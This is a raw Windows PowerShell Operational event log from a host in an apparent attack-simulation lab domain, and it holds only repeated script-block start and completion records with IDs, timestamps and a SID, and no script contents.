Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024256
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024254
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024252
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024270
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024268
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024266
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024264
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024262
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032243
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032221
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032219
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032218
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
